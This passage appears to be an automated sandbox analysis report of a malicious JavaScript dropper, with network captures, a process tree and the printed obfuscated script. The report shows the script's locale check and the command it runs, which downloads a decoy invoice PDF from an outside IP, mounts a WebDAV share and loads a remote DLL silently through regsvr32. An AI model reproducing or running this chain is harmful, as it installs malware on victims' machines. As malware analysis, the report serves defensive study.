Jan 11, 2025 02:20:44.369115114 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 02:20:44.369193077 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:20:44.369220018 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 02:20:44.369234085 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:20:44.369345903 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:20:44.369364023 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:20:44.369383097 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 02:20:44.374057055 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6000	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:20:46.381566048 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:20:47.195944071 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:20:47 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:20:37
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1849946161599211804.js"
Imagebase:	0x7ff7bfe50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:20:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Imagebase:	0x7ff629410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:20:39
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:20:39
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:20:44
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:20:44
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff629410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:20:44
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c59e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:20:45
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:20:45
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:20:46
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1568,i,11927233593023395360,797223698240011485,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ygtuj() {	ygtuj() ➔ undefined
1	ednvtf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yjoom = this[iwruepltw + aqnjfeb + fnmbq + sxrjif + zuhsymiwj + dydtym + nrzwhpdgs + vhlmds] ( this[pwcln + tjdhott + lxvnotpiq + fnmbq + aeaeksfu + iwruepltw + vhlmds][ihxkvjgb + fnmbq + zuhsymiwj + aqnjfeb + vhlmds + zuhsymiwj + gyvzscc + hkwvb + hgmxfvwb + zuhsymiwj + lxvnotpiq + vhlmds] ( pwcln + tjdhott + lxvnotpiq + fnmbq + aeaeksfu + iwruepltw + vhlmds + tkgqite + tjdhott + gqech + zuhsymiwj + ttychn + ttychn ) [doaxnj + zuhsymiwj + cszznmoxz + doaxnj + zuhsymiwj + aqnjfeb + wdwko] ( wvjclcn + bmobtapno + nwxqkt + eubltik + ydmxaapm + ihxkvjgb + nanomsa + doaxnj + doaxnj + nwxqkt + joxkkpw + gbacgdv + ydmxaapm + nanomsa + tjdhott + nwxqkt + doaxnj + khvea + ihxkvjgb + fcnrh + nrzwhpdgs + vhlmds + fnmbq + fcnrh + ttychn + vdvjdvw + zrfqavf + aqnjfeb + nrzwhpdgs + zuhsymiwj + ttychn + khvea + dydtym + nrzwhpdgs + vhlmds + zuhsymiwj + fnmbq + nrzwhpdgs + aqnjfeb + vhlmds + aeaeksfu + fcnrh + nrzwhpdgs + aqnjfeb + ttychn + khvea + xokyyi + fcnrh + lxvnotpiq + aqnjfeb + ttychn + zuhsymiwj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xnadebups = 0 ; xnadebups < ednvtf[ttychn + zuhsymiwj + nrzwhpdgs + cszznmoxz + vhlmds + gqech] ; ++ xnadebups )
4	{
5	if ( yjoom == ednvtf[xnadebups] )
6	{
7	yjoom = true;
8	break ;
9	}
10	}
11	if ( yjoom !== true )
12	this[pwcln + tjdhott + lxvnotpiq + fnmbq + aeaeksfu + iwruepltw + vhlmds][oflfwwq + vskxsgjkk + aeaeksfu + vhlmds] ( );
13	this[pwcln + tjdhott + lxvnotpiq + fnmbq + aeaeksfu + iwruepltw + vhlmds][ihxkvjgb + fnmbq + zuhsymiwj + aqnjfeb + vhlmds + zuhsymiwj + gyvzscc + hkwvb + hgmxfvwb + zuhsymiwj + lxvnotpiq + vhlmds] ( pwcln + tjdhott + lxvnotpiq + fnmbq + aeaeksfu + iwruepltw + vhlmds + tkgqite + tjdhott + gqech + zuhsymiwj + ttychn + ttychn ) [fnmbq + vskxsgjkk + nrzwhpdgs] ( lxvnotpiq + knowwhfre + wdwko + vdvjdvw + qmjqshy + lxvnotpiq + vdvjdvw + iwruepltw + fcnrh + eychj + zuhsymiwj + fnmbq + sxrjif + gqech + zuhsymiwj + ttychn + ttychn + tkgqite + zuhsymiwj + akwfu + zuhsymiwj + vdvjdvw + jqoecwql + ihxkvjgb + fcnrh + knowwhfre + knowwhfre + aqnjfeb + nrzwhpdgs + wdwko + vdvjdvw + wbolfsj + dydtym + nrzwhpdgs + zjlgdfj + fcnrh + yfxrir + zuhsymiwj + jqoecwql + pwcln + zuhsymiwj + hkwvb + doaxnj + zuhsymiwj + weaqh + vskxsgjkk + zuhsymiwj + sxrjif + vhlmds + vdvjdvw + jqoecwql + gyvzscc + vskxsgjkk + vhlmds + scyty + aeaeksfu + ttychn + zuhsymiwj + vdvjdvw + klshap + vhlmds + zuhsymiwj + knowwhfre + iwruepltw + klshap + khvea + aeaeksfu + nrzwhpdgs + zjlgdfj + fcnrh + aeaeksfu + lxvnotpiq + zuhsymiwj + tkgqite + iwruepltw + wdwko + fyyxjoha + vdvjdvw + gqech + vhlmds + vhlmds + iwruepltw + kfabppjv + qmjqshy + qmjqshy + bcpcg + toowlagf + wnfjqyk + tkgqite + bcpcg + cifhd + wnfjqyk + tkgqite + bcpcg + tkgqite + aobve + fkgtvohpu + bnljep + qmjqshy + aeaeksfu + nrzwhpdgs + zjlgdfj + fcnrh + aeaeksfu + lxvnotpiq + zuhsymiwj + tkgqite + iwruepltw + gqech + iwruepltw + wbolfsj + vgjps + vgjps + sxrjif + vhlmds + aqnjfeb + fnmbq + vhlmds + vdvjdvw + klshap + vhlmds + zuhsymiwj + knowwhfre + iwruepltw + klshap + khvea + aeaeksfu + nrzwhpdgs + zjlgdfj + fcnrh + aeaeksfu + lxvnotpiq + zuhsymiwj + tkgqite + iwruepltw + wdwko + fyyxjoha + vgjps + vgjps + lxvnotpiq + knowwhfre + wdwko + vdvjdvw + qmjqshy + lxvnotpiq + vdvjdvw + nrzwhpdgs + zuhsymiwj + vhlmds + vdvjdvw + vskxsgjkk + sxrjif + zuhsymiwj + vdvjdvw + khvea + khvea + bcpcg + toowlagf + wnfjqyk + tkgqite + bcpcg + cifhd + wnfjqyk + tkgqite + bcpcg + tkgqite + aobve + fkgtvohpu + bnljep + xfrogelo + dlyhv + dlyhv + dlyhv + dlyhv + khvea + wdwko + aqnjfeb + zjlgdfj + eychj + eychj + eychj + fnmbq + fcnrh + fcnrh + vhlmds + khvea + vgjps + vgjps + lxvnotpiq + knowwhfre + wdwko + vdvjdvw + qmjqshy + lxvnotpiq + vdvjdvw + fnmbq + zuhsymiwj + cszznmoxz + sxrjif + zjlgdfj + fnmbq + wnfjqyk + aobve + vdvjdvw + qmjqshy + sxrjif + vdvjdvw + khvea + khvea + bcpcg + toowlagf + wnfjqyk + tkgqite + bcpcg + cifhd + wnfjqyk + tkgqite + bcpcg + tkgqite + aobve + fkgtvohpu + bnljep + xfrogelo + dlyhv + dlyhv + dlyhv + dlyhv + khvea + wdwko + aqnjfeb + zjlgdfj + eychj + eychj + eychj + fnmbq + fcnrh + fcnrh + vhlmds + khvea + bcpcg + ujflxr + dlyhv + aobve + bcpcg + ujflxr + bcpcg + bnljep + bnljep + toowlagf + wnfjqyk + cifhd + otiia + tkgqite + wdwko + ttychn + ttychn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll",0,false) ➔ 0
14	}
15	zjlgdfj = "s";
16	zjlgdfj = "v";
17	zjlgdfj = "T";
18	zjlgdfj = "y";
19	zjlgdfj = "O";
20	zjlgdfj = "V";
21	zjlgdfj = "q";
22	zjlgdfj = "N";
23	zjlgdfj = "B";
24	zjlgdfj = "S";
25	zjlgdfj = "y";
26	zjlgdfj = "F";
27	zjlgdfj = "D";
28	zjlgdfj = "a";
29	zjlgdfj = "L";
30	zjlgdfj = "y";
31	zjlgdfj = "h";
32	zjlgdfj = "v";
33	fnmbq = "G";
34	fnmbq = "K";
35	fnmbq = "B";
36	fnmbq = "L";
37	fnmbq = "p";
38	fnmbq = "v";
39	fnmbq = "L";
40	fnmbq = "s";
41	fnmbq = "Z";
42	fnmbq = "l";
43	fnmbq = "m";
44	fnmbq = "O";
45	fnmbq = "i";
46	fnmbq = "Z";
47	fnmbq = "g";
48	fnmbq = "p";
49	fnmbq = "l";
50	fnmbq = "m";
51	fnmbq = "l";
52	fnmbq = "m";
53	fnmbq = "x";
54	fnmbq = "a";
55	fnmbq = "R";
56	fnmbq = "v";
57	fnmbq = "M";
58	fnmbq = "p";
59	fnmbq = "q";
60	fnmbq = "H";
61	fnmbq = "b";
62	fnmbq = "h";
63	fnmbq = "O";
64	fnmbq = "M";
65	fnmbq = "x";
66	fnmbq = "c";
67	fnmbq = "T";
68	fnmbq = "B";
69	fnmbq = "v";
70	fnmbq = "p";
71	fnmbq = "r";
72	oflfwwq = "m";
73	oflfwwq = "V";
74	oflfwwq = "q";
75	oflfwwq = "A";
76	oflfwwq = "f";
77	oflfwwq = "F";
78	oflfwwq = "J";
79	oflfwwq = "H";
80	oflfwwq = "L";
81	oflfwwq = "u";
82	oflfwwq = "k";
83	oflfwwq = "s";
84	oflfwwq = "O";
85	oflfwwq = "B";
86	oflfwwq = "i";
87	oflfwwq = "s";
88	oflfwwq = "G";
89	oflfwwq = "Q";
90	xokyyi = "A";
91	xokyyi = "H";
92	xokyyi = "b";
93	xokyyi = "L";
94	vgjps = "s";
95	vgjps = "E";
96	vgjps = "R";
97	vgjps = "E";
98	vgjps = "&";
99	qmjqshy = "u";
100	qmjqshy = "N";
101	qmjqshy = "w";
102	qmjqshy = "p";
103	qmjqshy = "K";
104	qmjqshy = "e";
105	qmjqshy = "K";
106	qmjqshy = "/";
107	bcpcg = "Y";
108	bcpcg = "B";
109	bcpcg = "d";
110	bcpcg = "Y";
111	bcpcg = "j";
112	bcpcg = "M";
113	bcpcg = "p";
114	bcpcg = "R";
115	bcpcg = "s";
116	bcpcg = "B";
117	bcpcg = "P";
118	bcpcg = "u";
119	bcpcg = "H";
120	bcpcg = "P";
121	bcpcg = "k";
122	bcpcg = "h";
123	bcpcg = "C";
124	bcpcg = "T";
125	bcpcg = "s";
126	bcpcg = "n";
127	bcpcg = "i";
128	bcpcg = "1";
129	nrzwhpdgs = "X";
130	nrzwhpdgs = "l";
131	nrzwhpdgs = "j";
132	nrzwhpdgs = "U";
133	nrzwhpdgs = "y";
134	nrzwhpdgs = "P";
135	nrzwhpdgs = "k";
136	nrzwhpdgs = "n";
137	fcnrh = "t";
138	fcnrh = "W";
139	fcnrh = "G";
140	fcnrh = "G";
141	fcnrh = "n";
142	fcnrh = "U";
143	fcnrh = "N";
144	fcnrh = "c";
145	fcnrh = "E";
146	fcnrh = "o";
147	hkwvb = "i";
148	hkwvb = "Y";
149	hkwvb = "c";
150	hkwvb = "W";
151	hkwvb = "W";
152	hkwvb = "a";
153	hkwvb = "T";
154	hkwvb = "b";
155	hkwvb = "J";
156	hkwvb = "E";
157	hkwvb = "B";
158	hkwvb = "x";
159	hkwvb = "I";
160	hkwvb = "y";
161	hkwvb = "S";
162	hkwvb = "T";
163	hkwvb = "D";
164	hkwvb = "r";
165	hkwvb = "c";
166	hkwvb = "E";
167	hkwvb = "h";
168	hkwvb = "h";
169	hkwvb = "m";
170	hkwvb = "I";
171	hkwvb = "J";
172	hkwvb = "D";
173	hkwvb = "Y";
174	hkwvb = "h";
175	hkwvb = "u";
176	hkwvb = "y";
177	hkwvb = "b";
178	aqnjfeb = "a";
179	aqnjfeb = "A";
180	aqnjfeb = "x";
181	aqnjfeb = "S";
182	aqnjfeb = "V";
183	aqnjfeb = "H";
184	aqnjfeb = "a";
185	aqnjfeb = "K";
186	aqnjfeb = "P";
187	aqnjfeb = "Z";
188	aqnjfeb = "h";
189	aqnjfeb = "o";
190	aqnjfeb = "H";
191	aqnjfeb = "c";
192	aqnjfeb = "W";
193	aqnjfeb = "V";
194	aqnjfeb = "G";
195	aqnjfeb = "G";
196	aqnjfeb = "T";
197	aqnjfeb = "c";
198	aqnjfeb = "C";
199	aqnjfeb = "a";
200	kfabppjv = "g";
201	kfabppjv = "k";
202	kfabppjv = "e";
203	kfabppjv = "i";
204	kfabppjv = "D";
205	kfabppjv = "B";
206	kfabppjv = "Y";
207	kfabppjv = "g";
208	kfabppjv = "Z";
209	kfabppjv = "h";
210	kfabppjv = "y";
211	kfabppjv = "I";
212	kfabppjv = "L";
213	kfabppjv = "v";
214	kfabppjv = "p";
215	kfabppjv = "w";
216	kfabppjv = "p";
217	kfabppjv = "S";
218	kfabppjv = "r";
219	kfabppjv = "S";
220	kfabppjv = "D";
221	kfabppjv = "r";
222	kfabppjv = "q";
223	kfabppjv = "B";
224	kfabppjv = "J";
225	kfabppjv = "F";
226	kfabppjv = "m";
227	kfabppjv = "z";
228	kfabppjv = "O";
229	kfabppjv = "U";
230	kfabppjv = "s";
231	kfabppjv = "o";
232	kfabppjv = "W";
233	kfabppjv = "a";
234	kfabppjv = "L";
235	kfabppjv = "b";
236	kfabppjv = "t";
237	kfabppjv = "A";
238	kfabppjv = "q";
239	kfabppjv = "r";
240	kfabppjv = "q";
241	kfabppjv = "L";
242	kfabppjv = "W";
243	kfabppjv = ":";
244	wdwko = "B";
245	wdwko = "b";
246	wdwko = "p";
247	wdwko = "A";
248	wdwko = "u";
249	wdwko = "l";
250	wdwko = "Z";
251	wdwko = "q";
252	wdwko = "x";
253	wdwko = "Y";
254	wdwko = "e";
255	wdwko = "p";
256	wdwko = "z";
257	wdwko = "t";
258	wdwko = "O";
259	wdwko = "n";
260	wdwko = "P";
261	wdwko = "j";
262	wdwko = "y";
263	wdwko = "E";
264	wdwko = "i";
265	wdwko = "K";
266	wdwko = "K";
267	wdwko = "T";
268	wdwko = "t";
269	wdwko = "V";
270	wdwko = "Y";
271	wdwko = "j";
272	wdwko = "v";
273	wdwko = "R";
274	wdwko = "l";
275	wdwko = "R";
276	wdwko = "Z";
277	wdwko = "R";
278	wdwko = "I";
279	wdwko = "x";
280	wdwko = "J";
281	wdwko = "H";
282	wdwko = "d";
283	gqech = "M";
284	gqech = "q";
285	gqech = "L";
286	gqech = "B";
287	gqech = "Z";
288	gqech = "e";
289	gqech = "f";
290	gqech = "a";
291	gqech = "m";
292	gqech = "t";
293	gqech = "U";
294	gqech = "S";
295	gqech = "T";
296	gqech = "h";
297	bnljep = "E";
298	bnljep = "Y";
299	bnljep = "K";
300	bnljep = "G";
301	bnljep = "Y";
302	bnljep = "b";
303	bnljep = "e";
304	bnljep = "j";
305	bnljep = "c";
306	bnljep = "E";
307	bnljep = "x";
308	bnljep = "S";
309	bnljep = "e";
310	bnljep = "L";
311	bnljep = "K";
312	bnljep = "J";
313	bnljep = "M";
314	bnljep = "5";
315	bmobtapno = "j";
316	bmobtapno = "G";
317	bmobtapno = "G";
318	bmobtapno = "W";
319	bmobtapno = "r";
320	bmobtapno = "X";
321	bmobtapno = "c";
322	bmobtapno = "r";
323	bmobtapno = "U";
324	bmobtapno = "n";
325	bmobtapno = "p";
326	bmobtapno = "l";
327	bmobtapno = "x";
328	bmobtapno = "h";
329	bmobtapno = "j";
330	bmobtapno = "Y";
331	bmobtapno = "E";
332	bmobtapno = "R";
333	bmobtapno = "Y";
334	bmobtapno = "d";
335	bmobtapno = "K";
336	gbacgdv = "R";
337	gbacgdv = "J";
338	gbacgdv = "v";
339	gbacgdv = "p";
340	gbacgdv = "y";
341	gbacgdv = "u";
342	gbacgdv = "d";
343	gbacgdv = "t";
344	gbacgdv = "E";
345	gbacgdv = "D";
346	gbacgdv = "A";
347	gbacgdv = "S";
348	gbacgdv = "a";
349	gbacgdv = "S";
350	gbacgdv = "X";
351	gbacgdv = "F";
352	gbacgdv = "M";
353	gbacgdv = "I";
354	gbacgdv = "Y";
355	gbacgdv = "a";
356	gbacgdv = "m";
357	gbacgdv = "U";
358	gbacgdv = "M";
359	gbacgdv = "H";
360	gbacgdv = "s";
361	gbacgdv = "L";
362	gbacgdv = "N";
363	gbacgdv = "A";
364	gbacgdv = "H";
365	gbacgdv = "F";
366	gbacgdv = "Z";
367	gbacgdv = "p";
368	gbacgdv = "P";
369	gbacgdv = "Z";
370	gbacgdv = "T";
371	weaqh = "W";
372	weaqh = "L";
373	weaqh = "d";
374	weaqh = "b";
375	weaqh = "i";
376	weaqh = "q";
377	weaqh = "f";
378	weaqh = "O";
379	weaqh = "X";
380	weaqh = "y";
381	weaqh = "L";
382	weaqh = "P";
383	weaqh = "V";
384	weaqh = "O";
385	weaqh = "O";
386	weaqh = "F";
387	weaqh = "Z";
388	weaqh = "u";
389	weaqh = "Y";
390	weaqh = "c";
391	weaqh = "R";
392	weaqh = "b";
393	weaqh = "O";
394	weaqh = "w";
395	weaqh = "x";
396	weaqh = "k";
397	weaqh = "Y";
398	weaqh = "o";
399	weaqh = "X";
400	weaqh = "Y";
401	weaqh = "l";
402	weaqh = "W";
403	weaqh = "y";
404	weaqh = "w";
405	weaqh = "q";
406	ydmxaapm = "K";
407	ydmxaapm = "v";
408	ydmxaapm = "h";
409	ydmxaapm = "j";
410	ydmxaapm = "s";
411	ydmxaapm = "Y";
412	ydmxaapm = "T";
413	ydmxaapm = "s";
414	ydmxaapm = "w";
415	ydmxaapm = "V";
416	ydmxaapm = "W";
417	ydmxaapm = "h";
418	ydmxaapm = "N";
419	ydmxaapm = "F";
420	ydmxaapm = "u";
421	ydmxaapm = "H";
422	ydmxaapm = "U";
423	ydmxaapm = "b";
424	ydmxaapm = "L";
425	ydmxaapm = "f";
426	ydmxaapm = "F";
427	ydmxaapm = "F";
428	ydmxaapm = "s";
429	ydmxaapm = "_";
430	yfxrir = "q";
431	yfxrir = "L";
432	yfxrir = "y";
433	yfxrir = "U";
434	yfxrir = "x";
435	yfxrir = "s";
436	yfxrir = "j";
437	yfxrir = "k";
438	eubltik = "v";
439	eubltik = "d";
440	eubltik = "h";
441	eubltik = "J";
442	eubltik = "Y";
443	eubltik = "I";
444	eubltik = "J";
445	eubltik = "b";
446	eubltik = "V";
447	eubltik = "n";
448	eubltik = "e";
449	eubltik = "M";
450	eubltik = "Q";
451	eubltik = "E";
452	eubltik = "B";
453	eubltik = "J";
454	eubltik = "D";
455	eubltik = "e";
456	eubltik = "q";
457	eubltik = "C";
458	eubltik = "W";
459	eubltik = "k";
460	eubltik = "a";
461	eubltik = "E";
462	eubltik = "B";
463	eubltik = "Z";
464	eubltik = "Z";
465	eubltik = "Z";
466	eubltik = "H";
467	eubltik = "Y";
468	knowwhfre = "L";
469	knowwhfre = "e";
470	knowwhfre = "T";
471	knowwhfre = "C";
472	knowwhfre = "I";
473	knowwhfre = "b";
474	knowwhfre = "T";
475	knowwhfre = "s";
476	knowwhfre = "S";
477	knowwhfre = "m";
478	knowwhfre = "I";
479	knowwhfre = "a";
480	knowwhfre = "o";
481	knowwhfre = "S";
482	knowwhfre = "p";
483	knowwhfre = "R";
484	knowwhfre = "O";
485	knowwhfre = "X";
